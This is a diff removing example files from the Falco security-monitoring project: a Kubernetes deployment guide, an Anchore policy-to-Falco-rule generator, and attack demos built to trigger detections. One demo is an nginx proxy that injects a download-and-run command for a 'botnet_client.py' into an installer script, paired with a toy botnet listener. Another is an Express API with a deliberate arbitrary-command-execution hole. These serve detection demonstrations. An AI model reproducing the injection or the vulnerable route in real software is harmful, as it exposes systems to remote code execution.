- ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
tty: true

View File

@@ -1,18 +0,0 @@
import socket;
import signal;
import os;
os.close(0);
os.close(1);
os.close(2);
signal.signal(signal.SIGINT,signal.SIG_IGN);
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('0.0.0.0', 1234))
serversocket.listen(5);
while 1:
(clientsocket, address) = serversocket.accept();
clientsocket.send('Waiting for botnet command and control commands...\n');
command = clientsocket.recv(1024)
clientsocket.send('Ok, will execute "{}"\n'.format(command.strip()))
clientsocket.close()

View File

@@ -1,15 +0,0 @@
#!/bin/bash
SID=`ps --no-heading -o sess --pid $$`
if [ $SID -ne $$ ]; then
# Not currently a session leader? Run a copy of ourself in a new
# session, with copies of stdin/stdout/stderr.
setsid $0 $@ < /dev/stdin 1> /dev/stdout 2> /dev/stderr &
FBASH=$!
trap "kill $FBASH; exit" SIGINT SIGTERM
wait $FBASH
else
# Just evaluate the commands (from stdin)
source /dev/stdin
fi

View File

@@ -1,12 +0,0 @@
http {
server {
location / {
sub_filter_types '*';
sub_filter 'function install_deb {' 'curl -so ./botnet_client.py http://localhost:9090/botnet_client.py && python ./botnet_client.py &\nfunction install_deb {';
sub_filter_once off;
proxy_pass http://apache:80;
}
}
}
events {
}

View File

@@ -1,156 +0,0 @@
#!/bin/bash
#
# Copyright (C) 2019 The Falco Authors.
#
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
set -e
function install_rpm {
if ! hash curl > /dev/null 2>&1; then
echo "* Installing curl"
yum -q -y install curl
fi
echo "*** Installing my-software public key"
# A rpm --import command would normally be here
echo "*** Installing my-software repository"
# A curl path-to.repo <some url> would normally be here
echo "*** Installing my-software"
# A yum -q -y install my-software command would normally be here
echo "*** my-software Installed!"
}
function install_deb {
export DEBIAN_FRONTEND=noninteractive
if ! hash curl > /dev/null 2>&1; then
echo "* Installing curl"
apt-get -qq -y install curl < /dev/null
fi
echo "*** Installing my-software public key"
# A curl <url> | apt-key add - command would normally be here
echo "*** Installing my-software repository"
# A curl path-to.list <some url> would normally be here
echo "*** Installing my-software"
# An apt-get -qq -y install my-software command would normally be here
echo "*** my-software Installed!"
}
function unsupported {
echo 'Unsupported operating system. Please consider writing to the mailing list at'
echo 'https://groups.google.com/forum/#!forum/my-software or trying the manual'
echo 'installation.'
exit 1
}
if [ $(id -u) != 0 ]; then
echo "Installer must be run as root (or with sudo)."
# exit 1
fi
echo "* Detecting operating system"
ARCH=$(uname -m)
if [[ ! $ARCH = *86 ]] && [ ! $ARCH = "x86_64" ]; then
unsupported
fi
if [ -f /etc/debian_version ]; then
if [ -f /etc/lsb-release ]; then
. /etc/lsb-release
DISTRO=$DISTRIB_ID
VERSION=${DISTRIB_RELEASE%%.*}
else
DISTRO="Debian"
VERSION=$(cat /etc/debian_version | cut -d'.' -f1)
fi
case "$DISTRO" in
"Ubuntu")
if [ $VERSION -ge 10 ]; then
install_deb
else
unsupported
fi
;;
"LinuxMint")
if [ $VERSION -ge 9 ]; then
install_deb
else
unsupported
fi
;;
"Debian")
if [ $VERSION -ge 6 ]; then
install_deb
elif [[ $VERSION == *sid* ]]; then
install_deb
else
unsupported
fi
;;
*)
unsupported
;;
esac
elif [ -f /etc/system-release-cpe ]; then
DISTRO=$(cat /etc/system-release-cpe | cut -d':' -f3)
VERSION=$(cat /etc/system-release-cpe | cut -d':' -f5 | cut -d'.' -f1 | sed 's/[^0-9]*//g')
case "$DISTRO" in
"oracle" | "centos" | "redhat")
if [ $VERSION -ge 6 ]; then
install_rpm
else
unsupported
fi
;;
"amazon")
install_rpm
;;
"fedoraproject")
if [ $VERSION -ge 13 ]; then
install_rpm
else
unsupported
fi
;;
*)
unsupported
;;
esac
else
unsupported
fi

View File

@@ -1,66 +0,0 @@
# Demo of falco with bash exec via poorly designed REST API.
## Introduction
This example shows how a server could have a poorly designed API that
allowed a client to execute arbitrary programs on the server, and how
that behavior can be detected using Sysdig Falco.
`server.js` in this directory defines the server. The poorly designed
API is this route handler:
```javascript
router.get('/exec/:cmd', function(req, res) {
var output = child_process.execSync(req.params.cmd);
res.send(output);
});
app.use('/api', router);
```
It blindly takes the url portion after `/api/exec/<cmd>` and tries to
execute it. A horrible design choice(!), but allows us to easily show
Sysdig falco's capabilities.
## Demo architecture
### Start everything using docker-compose
From this directory, run the following:
```
$ docker-compose -f demo.yml up
```
This starts the following containers:
* express_server: simple express server exposing a REST API under the endpoint `/api/exec/<cmd>`.
* falco: will detect when you execute a shell via the express server.
### Access urls under `/api/exec/<cmd>` to run arbitrary commands.
Run the following commands to execute arbitrary commands like 'ls', 'pwd', etc:
```
$ curl http://localhost:8181/api/exec/ls
demo.yml
node_modules
package.json
README.md
server.js
```
```
$ curl http://localhost:8181/api/exec/pwd
.../examples/nodejs-bad-rest-api
```
### Try to run bash via `/api/exec/bash`, falco sends alert.
If you try to run bash via `/api/exec/bash`, falco will generate an alert:
```
falco | 22:26:53.536628076: Warning Shell spawned in a container other than entrypoint (user=root container_id=6f339b8aeb0a container_name=express_server shell=bash parent=sh cmdline=bash )
```

View File

@@ -1,21 +0,0 @@
express_server:
container_name: express_server
image: node:latest
command: bash -c "apt-get -y update && apt-get -y install runit && cd /usr/src/app && npm install && runsv /usr/src/app"
ports:
- "8181:8181"
volumes:
- ${PWD}:/usr/src/app
falco:
container_name: falco
image: falcosecurity/falco:latest
privileged: true
volumes:
- /var/run/docker.sock:/host/var/run/docker.sock
- /dev:/host/dev
- /proc:/host/proc:ro
- /boot:/host/boot:ro
- /lib/modules:/host/lib/modules:ro
- /usr:/host/usr:ro
tty: true

View File

@@ -1,7 +0,0 @@
{
"name": "bad-rest-api",
"main": "server.js",
"dependencies": {
"express": "~4.16.0"
}
}

View File

@@ -1,2 +0,0 @@
#!/bin/sh
node server.js

View File

@@ -1,25 +0,0 @@
var express = require('express'); // call express
var app = express(); // define our app using express
var child_process = require('child_process');
var port = process.env.PORT || 8181; // set our port
// ROUTES FOR OUR API
// =============================================================================
var router = express.Router(); // get an instance of the express Router
// test route to make sure everything is working (accessed at GET http://localhost:8181/api)
router.get('/', function(req, res) {
res.json({ message: 'API available'});
});
router.get('/exec/:cmd', function(req, res) {
var ret = child_process.spawnSync(req.params.cmd, { shell: true});
res.send(ret.stdout);
});
app.use('/api', router);
app.listen(port);
console.log('Server running on port: ' + port);

View File

@@ -1,2 +0,0 @@
labels:
- area/integration

View File

@@ -1,13 +0,0 @@
FROM python:3-stretch
RUN pip install pipenv
WORKDIR /app
ADD Pipfile /app/Pipfile
ADD Pipfile.lock /app/Pipfile.lock
RUN pipenv install --system --deploy
ADD . /app
CMD ["python", "main.py"]

View File

@@ -1,16 +0,0 @@
[[source]]
url = "https://pypi.python.org/simple"
verify_ssl = true
name = "pypi"
[dev-packages]
doublex-expects = "==0.7.0rc2"
doublex = "*"
mamba = "*"
expects = "*"
[packages]
requests = "*"
[requires]
python_version = "3.7"

View File

@@ -1,161 +0,0 @@
{
"_meta": {
"hash": {
"sha256": "3bdeb3ebfc2760431a59b0a27dc9e747b5d21f9156591ebb7994d94c21f33648"
},
"pipfile-spec": 6,
"requires": {
"python_version": "3.7"
},
"sources": [
{
"name": "pypi",
"url": "https://pypi.python.org/simple",
"verify_ssl": true
}
]
},
"default": {
"certifi": {
"hashes": [
"sha256:59b7658e26ca9c7339e00f8f4636cdfe59d34fa37b9b04f6f9e9926b3cece1a5",
"sha256:b26104d6835d1f5e49452a26eb2ff87fe7090b89dfcaee5ea2212697e1e1d7ae"
],
"version": "==2019.3.9"
},
"chardet": {
"hashes": [
"sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae",
"sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691"
],
"version": "==3.0.4"
},
"idna": {
"hashes": [
"sha256:c357b3f628cf53ae2c4c05627ecc484553142ca23264e593d327bcde5e9c3407",
"sha256:ea8b7f6188e6fa117537c3df7da9fc686d485087abf6ac197f9c46432f7e4a3c"
],
"version": "==2.8"
},
"requests": {
"hashes": [
"sha256:502a824f31acdacb3a35b6690b5fbf0bc41d63a24a45c4004352b0242707598e",
"sha256:7bf2a778576d825600030a110f3c0e3e8edc51dfaafe1c146e39a2027784957b"
],
"index": "pypi",
"version": "==2.21.0"
},
"urllib3": {
"hashes": [
"sha256:2393a695cd12afedd0dcb26fe5d50d0cf248e5a66f75dbd89a3d4eb333a61af4",
"sha256:a637e5fae88995b256e3409dc4d52c2e2e0ba32c42a6365fee8bbd2238de3cfb"
],
"version": "==1.24.3"
}
},
"develop": {
"args": {
"hashes": [
"sha256:a785b8d837625e9b61c39108532d95b85274acd679693b71ebb5156848fcf814"
],
"version": "==0.1.0"
},
"clint": {
"hashes": [
"sha256:05224c32b1075563d0b16d0015faaf9da43aa214e4a2140e51f08789e7a4c5aa"
],
"version": "==0.5.1"
},
"coverage": {
"hashes": [
"sha256:0c5fe441b9cfdab64719f24e9684502a59432df7570521563d7b1aff27ac755f",
"sha256:2b412abc4c7d6e019ce7c27cbc229783035eef6d5401695dccba80f481be4eb3",
"sha256:3684fabf6b87a369017756b551cef29e505cb155ddb892a7a29277b978da88b9",
"sha256:39e088da9b284f1bd17c750ac672103779f7954ce6125fd4382134ac8d152d74",
"sha256:3c205bc11cc4fcc57b761c2da73b9b72a59f8d5ca89979afb0c1c6f9e53c7390",
"sha256:42692db854d13c6c5e9541b6ffe0fe921fe16c9c446358d642ccae1462582d3b",
"sha256:465ce53a8c0f3a7950dfb836438442f833cf6663d407f37d8c52fe7b6e56d7e8",
"sha256:48020e343fc40f72a442c8a1334284620f81295256a6b6ca6d8aa1350c763bbe",
"sha256:4ec30ade438d1711562f3786bea33a9da6107414aed60a5daa974d50a8c2c351",
"sha256:5296fc86ab612ec12394565c500b412a43b328b3907c0d14358950d06fd83baf",
"sha256:5f61bed2f7d9b6a9ab935150a6b23d7f84b8055524e7be7715b6513f3328138e",
"sha256:6899797ac384b239ce1926f3cb86ffc19996f6fa3a1efbb23cb49e0c12d8c18c",
"sha256:68a43a9f9f83693ce0414d17e019daee7ab3f7113a70c79a3dd4c2f704e4d741",
"sha256:6b8033d47fe22506856fe450470ccb1d8ba1ffb8463494a15cfc96392a288c09",
"sha256:7ad7536066b28863e5835e8cfeaa794b7fe352d99a8cded9f43d1161be8e9fbd",
"sha256:7bacb89ccf4bedb30b277e96e4cc68cd1369ca6841bde7b005191b54d3dd1034",
"sha256:839dc7c36501254e14331bcb98b27002aa415e4af7ea039d9009409b9d2d5420",
"sha256:8e679d1bde5e2de4a909efb071f14b472a678b788904440779d2c449c0355b27",
"sha256:8f9a95b66969cdea53ec992ecea5406c5bd99c9221f539bca1e8406b200ae98c",
"sha256:932c03d2d565f75961ba1d3cec41ddde00e162c5b46d03f7423edcb807734eab",
"sha256:93f965415cc51604f571e491f280cff0f5be35895b4eb5e55b47ae90c02a497b",
"sha256:988529edadc49039d205e0aa6ce049c5ccda4acb2d6c3c5c550c17e8c02c05ba",
"sha256:998d7e73548fe395eeb294495a04d38942edb66d1fa61eb70418871bc621227e",
"sha256:9de60893fb447d1e797f6bf08fdf0dbcda0c1e34c1b06c92bd3a363c0ea8c609",
"sha256:9e80d45d0c7fcee54e22771db7f1b0b126fb4a6c0a2e5afa72f66827207ff2f2",
"sha256:a545a3dfe5082dc8e8c3eb7f8a2cf4f2870902ff1860bd99b6198cfd1f9d1f49",
"sha256:a5d8f29e5ec661143621a8f4de51adfb300d7a476224156a39a392254f70687b",
"sha256:a9abc8c480e103dc05d9b332c6cc9fb1586330356fc14f1aa9c0ca5745097d19",
"sha256:aca06bfba4759bbdb09bf52ebb15ae20268ee1f6747417837926fae990ebc41d",
"sha256:bb23b7a6fd666e551a3094ab896a57809e010059540ad20acbeec03a154224ce",
"sha256:bfd1d0ae7e292105f29d7deaa9d8f2916ed8553ab9d5f39ec65bcf5deadff3f9",
"sha256:c22ab9f96cbaff05c6a84e20ec856383d27eae09e511d3e6ac4479489195861d",
"sha256:c62ca0a38958f541a73cf86acdab020c2091631c137bd359c4f5bddde7b75fd4",
"sha256:c709d8bda72cf4cd348ccec2a4881f2c5848fd72903c185f363d361b2737f773",
"sha256:c968a6aa7e0b56ecbd28531ddf439c2ec103610d3e2bf3b75b813304f8cb7723",
"sha256:ca58eba39c68010d7e87a823f22a081b5290e3e3c64714aac3c91481d8b34d22",
"sha256:df785d8cb80539d0b55fd47183264b7002077859028dfe3070cf6359bf8b2d9c",
"sha256:f406628ca51e0ae90ae76ea8398677a921b36f0bd71aab2099dfed08abd0322f",
"sha256:f46087bbd95ebae244a0eda01a618aff11ec7a069b15a3ef8f6b520db523dcf1",
"sha256:f8019c5279eb32360ca03e9fac40a12667715546eed5c5eb59eb381f2f501260",
"sha256:fc5f4d209733750afd2714e9109816a29500718b32dd9a5db01c0cb3a019b96a"
],
"version": "==4.5.3"
},
"doublex": {
"hashes": [
"sha256:4e9f17f346276db7faa461dfa105f17de7f837e5ceccca34f4c70d4ff9d2f20c"
],
"index": "pypi",
"version": "==1.9.2"
},
"doublex-expects": {
"hashes": [
"sha256:5421bd92319c77ccc5a81d595d06e9c9f7f670de342b33e8007a81e70f9fade8"
],
"index": "pypi",
"version": "==0.7.0rc2"
},
"expects": {
"hashes": [
"sha256:419902ccafe81b7e9559eeb6b7a07ef9d5c5604eddb93000f0642b3b2d594f4c"
],
"index": "pypi",
"version": "==0.9.0"
},
"mamba": {
"hashes": [
"sha256:25328151ea94d97a0b461d7256dc7350c99b5f8d2de22d355978378edfeac545"
],
"index": "pypi",
"version": "==0.10"
},
"pyhamcrest": {
"hashes": [
"sha256:6b672c02fdf7470df9674ab82263841ce8333fb143f32f021f6cb26f0e512420",
"sha256:7a4bdade0ed98c699d728191a058a60a44d2f9c213c51e2dd1e6fb42f2c6128a",
"sha256:8ffaa0a53da57e89de14ced7185ac746227a8894dbd5a3c718bf05ddbd1d56cd",
"sha256:bac0bea7358666ce52e3c6c85139632ed89f115e9af52d44b3c36e0bf8cf16a9",
"sha256:f30e9a310bcc1808de817a92e95169ffd16b60cbc5a016a49c8d0e8ababfae79"
],
"version": "==1.9.0"
},
"six": {
"hashes": [
"sha256:3350809f0555b11f552448330d0b52d5f24c91a322ea4a15ef22629740f3761c",
"sha256:d16a0141ec1a18405cd4ce8b4613101da75da0e9a7aec5bdd4fa804d0e0eba73"
],
"version": "==1.12.0"
}
}
}

View File

@@ -1,89 +0,0 @@
# Create Falco rule from Anchore policy result
This integration creates a rule for Falco based on Anchore policy result.
So that when we will try to run an image which has a ```stop``` final action result
in Anchore, Falco will alert us.
## Getting started
### Prerequisites
For running this integration you will need:
* Python 3.6
* pipenv
* An [anchore-engine](https://github.com/anchore/anchore-engine) running
### Configuration
This integration uses the [same environment variables that anchore-cli](https://github.com/anchore/anchore-cli#configuring-the-anchore-cli):
* ANCHORE_CLI_USER: The user used to connect to anchore-engine. By default is ```admin```
* ANCHORE_CLI_PASS: The password used to connect to anchore-engine.
* ANCHORE_CLI_URL: The url where anchore-engine listens. Make sure does not end with a slash. By default is ```http://localhost:8228/v1```
* ANCHORE_CLI_SSL_VERIFY: Flag for enabling if HTTP client verifies SSL. By default is ```true```
### Running
This is a Python program which generates a Falco rule based on anchore-engine
information:
```
pipenv run python main.py
```
And this will output something like:
```yaml
- macro: anchore_stop_policy_evaluation_containers
condition: container.image.id in ("8626492fecd368469e92258dfcafe055f636cb9cbc321a5865a98a0a6c99b8dd", "e86d9bb526efa0b0401189d8df6e3856d0320a3d20045c87b4e49c8a8bdb22c1")
- rule: Run Anchore Containers with Stop Policy Evaluation
desc: Detect containers which does not receive a positive Policy Evaluation from Anchore Engine.
condition: evt.type=execve and proc.vpid=1 and container and anchore_stop_policy_evaluation_containers
output: A stop policy evaluation container from anchore has started (%container.info image=%container.image)
priority: INFO
tags: [container]
```
You can save that output to ```/etc/falco/rules.d/anchore-integration-rules.yaml```
and Falco will start checking this rule.
As long as information in anchore-engine can change, it's a good idea to run this
integration **periodically** and keep the rule synchronized with anchore-engine
policy evaluation result.
## Tests
As long as there are contract tests with anchore-engine, it needs a working
anchore-engine and its environment variables.
```
pipenv install -d
pipenv run mamba --format=documentation
```
## Docker support
### Build the image
```
docker build -t sysdig/anchore-falco .
```
### Running the image
An image exists on DockerHub, its name is ```sysdig/anchore-falco```.
So you can run directly with Docker:
```
docker run --rm -e ANCHORE_CLI_USER=<user-for-custom-anchore-engine> \
-e ANCHORE_CLI_PASS=<password-for-user-for-custom-anchore-engine> \
-e ANCHORE_CLI_URL=http://<custom-anchore-engine-host>:8228/v1 \
sysdig/anchore-falco
```
And this will output the Falco rule based on *custom-anchore-engine-host*.

View File

@@ -1,25 +0,0 @@
import string
FALCO_RULE_TEMPLATE = string.Template('''
- macro: anchore_stop_policy_evaluation_containers
condition: container.image.id in ($images)
- rule: Run Anchore Containers with Stop Policy Evaluation
desc: Detect containers which does not receive a positive Policy Evaluation from Anchore Engine.
condition: evt.type=execve and proc.vpid=1 and container and anchore_stop_policy_evaluation_containers
output: A stop policy evaluation container from anchore has started (%container.info image=%container.image)
priority: INFO
tags: [container]
''')
class CreateFalcoRuleFromAnchoreStopPolicyResults:
def __init__(self, anchore_client):
self._anchore_client = anchore_client
def run(self):
images = self._anchore_client.get_images_with_policy_result('stop')
images = ['"{}"'.format(image) for image in images]
return FALCO_RULE_TEMPLATE.substitute(images=', '.join(images))

View File

@@ -1,39 +0,0 @@
import requests
class AnchoreClient:
def __init__(self, user, password, url, ssl_verify):
self._user = user
self._password = password
self._url = url
self._ssl_verify = ssl_verify
def get_images_with_policy_result(self, policy_result):
results = []
for image in self._get_all_images():
final_action = self._evaluate_image(image)
if final_action == 'stop':
results.append(image['image_id'])
return results
def _get_all_images(self):
response = self._do_get_request(self._url + '/images')
return [
{
'image_id': image['image_detail'][0]['imageId'],
'image_digest': image['image_detail'][0]['imageDigest'],
'full_tag': image['image_detail'][0]['fulltag']
} for image in response.json()]
def _do_get_request(self, url):
return requests.get(url,
auth=(self._user, self._password),
verify=self._ssl_verify,
headers={'Content-Type': 'application/json'})
def _evaluate_image(self, image):
response = self._do_get_request(self._url + '/images/{}/check?tag={}'.format(image['image_digest'], image['full_tag']))
if response.status_code == 200:
return response.json()[0][image['image_digest']][image['full_tag']][0]['detail']['result']['final_action']

View File

@@ -1,21 +0,0 @@
import os
import actions, infrastructure
def main():
anchore_client = infrastructure.AnchoreClient(
os.environ.get('ANCHORE_CLI_USER', 'admin'),
os.environ['ANCHORE_CLI_PASS'],
os.environ.get('ANCHORE_CLI_URL', 'http://localhost:8228/v1'),
os.environ.get('ANCHORE_CLI_SSL_VERIFY', True)
)
action = actions.CreateFalcoRuleFromAnchoreStopPolicyResults(anchore_client)
result = action.run()
print(result)
if __name__ == '__main__':
main()

View File

@@ -1,21 +0,0 @@
from mamba import description, it, before
from expects import expect, contain
from doublex import Stub, when
import actions
import infrastructure
with description(actions.CreateFalcoRuleFromAnchoreStopPolicyResults) as self:
with before.each:
self.anchore_client = Stub(infrastructure.AnchoreClient)
self.action = actions.CreateFalcoRuleFromAnchoreStopPolicyResults(self.anchore_client)
with it('queries Anchore Server for images with Stop as policy results'):
image_id = 'any image id'
when(self.anchore_client).get_images_with_policy_result('stop').returns([image_id])
result = self.action.run()
expect(result).to(contain(image_id))

View File

@@ -1,19 +0,0 @@
from mamba import description, it
from expects import expect, have_length, be_above
import os
import infrastructure
with description(infrastructure.AnchoreClient) as self:
with it('retrieves images with stop policy results'):
user = os.environ['ANCHORE_CLI_USER']
password = os.environ['ANCHORE_CLI_PASS']
url = os.environ['ANCHORE_CLI_URL']
client = infrastructure.AnchoreClient(user, password, url, True)
result = client.get_images_with_policy_result('stop')
expect(result).to(have_length(be_above(1)))

View File

@@ -1,120 +0,0 @@
# Example Kubernetes Daemon Sets for Falco
This directory gives you the required YAML files to stand up Falco on Kubernetes as a Daemon Set. This will result in a Falco Pod being deployed to each node, and thus the ability to monitor any running containers for abnormal behavior.
The two options are provided to deploy a Daemon Set:
- `k8s-with-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes with RBAC enabled.
- `k8s-without-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes without RBAC enabled. **This method is deprecated in favor of RBAC-based installs, and won't be updated going forward.**
Also provided:
- `falco-event-generator-deployment.yaml` - A Kubernetes Deployment to generate sample events. This is useful for testing, but note it will generate a large number of events.
## Deploying to Kubernetes with RBAC enabled
Since v1.8 RBAC has been available in Kubernetes, and running with RBAC enabled is considered the best practice. The `k8s-with-rbac` directory provides the YAML to create a Service Account for Falco, as well as the ClusterRoles and bindings to grant the appropriate permissions to the Service Account.
```
k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-account.yaml
serviceaccount "falco-account" created
clusterrole "falco-cluster-role" created
clusterrolebinding "falco-cluster-role-binding" created
k8s-using-daemonset$
```
We also create a service that allows other services to reach the embedded webserver in falco, which listens on https port 8765:
```
k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-service.yaml
service/falco-service created
k8s-using-daemonset$
```
The Daemon Set also relies on a Kubernetes ConfigMap to store the Falco configuration and make the configuration available to the Falco Pods. This allows you to manage custom configuration without rebuilding and redeploying the underlying Pods. In order to create the ConfigMap you'll first need to copy the required configuration from their location in this GitHub repo to the `k8s-with-rbac/falco-config/` directory (please note that you will need to create the /falco-config directory). Any modification of the configuration should be performed on these copies rather than the original files.
```
k8s-using-daemonset$ mkdir -p k8s-with-rbac/falco-config
k8s-using-daemonset$ cp ../../falco.yaml k8s-with-rbac/falco-config/
k8s-using-daemonset$ cp ../../rules/falco_rules.* k8s-with-rbac/falco-config/
k8s-using-daemonset$ cp ../../rules/k8s_audit_rules.yaml k8s-with-rbac/falco-config/
```
If you want to send Falco alerts to a Slack channel, you'll want to modify the `falco.yaml` file to point to your Slack webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Add the below to the bottom of the `falco.yaml` config file you just copied to enable Slack messages.
```
program_output:
enabled: true
keep_alive: false
program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"
```
You will also need to enable JSON output. Find the `json_output: false` setting in the `falco.yaml` file and change it to read `json_output: true`. Any custom rules for your environment can be added to into the `falco_rules.local.yaml` file and they will be picked up by Falco at start time. You can now create the ConfigMap in Kubernetes.
```
k8s-using-daemonset$ kubectl create configmap falco-config --from-file=k8s-with-rbac/falco-config
configmap "falco-config" created
k8s-using-daemonset$
```
Now that we have the requirements for our Daemon Set in place, we can create our Daemon Set.
```
k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-daemonset-configmap.yaml
daemonset "falco" created
k8s-using-daemonset$
```
## Deploying to Kubernetes without RBAC enabled (**Deprecated**)
If you are running Kubernetes with Legacy Authorization enabled, you can use `kubectl` to deploy the Daemon Set provided in the `k8s-without-rbac` directory. The example provides the ability to post messages to a Slack channel via a webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Modify the [`args`](https://github.com/draios/falco/blob/dev/examples/k8s-using-daemonset/falco-daemonset.yaml#L21) passed to the Falco container to point to the appropriate URL for your webhook.
```
k8s-using-daemonset$ kubectl create -f k8s-without-rbac/falco-daemonset.yaml
```
When running falco via a container, you might see error messages like the following:
```
mkdir: cannot create directory '/lib/modules/3.10.0-693.el7.centos.test.x86_64/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/3.10.0-693.el7.centos.test.x86_64/kernel/extra/falco-probe.ko.xz': No such file or directory
```
These error messages are innocuous, but if you would like to remove them you can change the /host/lib/modules mount to read-write, by doing below change in `k8s-with-rbac/falco
daemonset-configmap.yaml`:
```
- mountPath: /host/lib/modules
name: lib-modules
- readOnly: true
+ #readOnly: true
```
However, note that this will result in the `falco-probe.ko.xz` file being saved to `/lib/modules` on the host, even after the falco container is removed.
## Verifying the installation
In order to test that Falco is working correctly, you can launch a shell in a Pod. You should see a message in your Slack channel (if configured), or in the logs of the Falco pod.
```
k8s-using-daemonset$ kubectl get pods
NAME READY STATUS RESTARTS AGE
falco-74htl 1/1 Running 0 13h
falco-fqz2m 1/1 Running 0 13h
falco-sgjfx 1/1 Running 0 13h
k8s-using-daemonset$ kubectl exec -it falco-74htl bash
root@falco-74htl:/# exit
k8s-using-daemonset$ kubectl logs falco-74htl
{"output":"17:48:58.590038385: Notice A shell was spawned in a container with an attached terminal (user=root k8s.pod=falco-74htl container=a98c2aa8e670 shell=bash parent=<NA> cmdline=bash terminal=34816)","priority":"Notice","rule":"Terminal shell in container","time":"2017-12-20T17:48:58.590038385Z", "output_fields": {"container.id":"a98c2aa8e670","evt.time":1513792138590038385,"k8s.pod.name":"falco-74htl","proc.cmdline":"bash ","proc.name":"bash","proc.pname":null,"proc.tty":34816,"user.name":"root"}}
k8s-using-daemonset$
```
Alternatively, you can deploy the [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events) deployement to have events automatically generated. Please note that this Deployment will generate a large number of events.
```
k8s-using-daemonset$ kubectl create -f falco-event-generator-deployment.yaml \
&& sleep 1 \
&& kubectl delete -f falco-event-generator-deployment.yaml
deployment "falco-event-generator-deployment" created
deployment "falco-event-generator-deployment" deleted
k8s-using-daemonset$
```

View File

@@ -1,17 +0,0 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: falco-event-generator-deployment
labels:
name: falco-event-generator-deployment
app: demo
spec:
replicas: 1
template:
metadata:
labels:
app: falco-event-generator
spec:
containers:
- name: falco-event-generator
image: sysdig/falco-event-generator:latest

View File

@@ -1,41 +0,0 @@
apiVersion: v1
kind: ServiceAccount
metadata:
name: falco-account
labels:
app: falco-example
role: security
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: falco-cluster-role
labels:
app: falco-example
role: security
rules:
- apiGroups: ["extensions",""]
resources: ["nodes","namespaces","pods","replicationcontrollers","replicasets","services","daemonsets","deployments","events","configmaps"]
verbs: ["get","list","watch"]
- apiGroups: ["apps"]
resources: ["daemonsets","deployments","replicasets","statefulsets"]
verbs: ["get","list","watch"]
- nonResourceURLs: ["/healthz", "/healthz/*"]
verbs: ["get"]
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: falco-cluster-role-binding
namespace: default
labels:
app: falco-example
role: security
subjects:
- kind: ServiceAccount
name: falco-account
namespace: default
roleRef:
kind: ClusterRole
name: falco-cluster-role
apiGroup: rbac.authorization.k8s.io

View File

@@ -1,100 +0,0 @@
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: falco-daemonset
labels:
app: falco-example
role: security
spec:
selector:
matchLabels:
app: falco-example
role: security
template:
metadata:
labels:
app: falco-example
role: security
spec:
serviceAccount: falco-account
initContainers:
- name: probeloader
image: falcosecurity/probeloader:latest
securityContext:
privileged: true
#env:
# - name: FALCOCTL_FALCO_VERSION
# value: 0.21.0
# - name: FALCOCTL_FALCO_PROBE_URL
# value:
# - name: FALCOCTL_FALCO_PROBE_REPO
# value: "https://s3.amazonaws.com/download.draios.com/stable/sysdig-probe-binaries/"
volumeMounts:
- mountPath: /host/boot
name: boot-fs
readOnly: true
containers:
- name: falco
image: falcosecurity/falco:0.21.0-slim
securityContext:
privileged: true
# Uncomment the 3 lines below to enable eBPF support for Falco.
# This allows Falco to run on Google COS.
# Leave blank for the default probe location, or set to the path
# of a precompiled probe.
# env:
# - name: FALCO_BPF_PROBE
# value: ""
args: [ "/usr/bin/falco", "--cri", "/run/containerd/containerd.sock", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://$(KUBERNETES_SERVICE_HOST)", "-pk"]
volumeMounts:
- mountPath: /host/var/run/docker.sock
name: docker-socket
- mountPath: /host/run/containerd/containerd.sock
name: containerd-socket
- mountPath: /host/dev
name: dev-fs
- mountPath: /host/proc
name: proc-fs
readOnly: true
- mountPath: /host/boot
name: boot-fs
readOnly: true
- mountPath: /host/lib/modules
name: lib-modules
readOnly: true
- mountPath: /host/usr
name: usr-fs
readOnly: true
- mountPath: /host/etc/
name: etc-fs
readOnly: true
- mountPath: /etc/falco
name: falco-config
volumes:
- name: docker-socket
hostPath:
path: /var/run/docker.sock
- name: containerd-socket
hostPath:
path: /run/containerd/containerd.sock
- name: dev-fs
hostPath:
path: /dev
- name: proc-fs
hostPath:
path: /proc
- name: boot-fs
hostPath:
path: /boot
- name: lib-modules
hostPath:
path: /lib/modules
- name: usr-fs
hostPath:
path: /usr
- name: etc-fs
hostPath:
path: /etc
- name: falco-config
configMap:
name: falco-config

View File

@@ -1,85 +0,0 @@
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: falco-daemonset
labels:
app: falco-example
role: security
spec:
selector:
matchLabels:
app: falco-example
role: security
template:
metadata:
labels:
app: falco-example
role: security
spec:
serviceAccount: falco-account
containers:
- name: falco
image: falcosecurity/falco:latest
securityContext:
privileged: true
# Uncomment the 3 lines below to enable eBPF support for Falco.
# This allows Falco to run on Google COS.
# Leave blank for the default probe location, or set to the path
# of a precompiled probe.
# env:
# - name: FALCO_BPF_PROBE
# value: ""
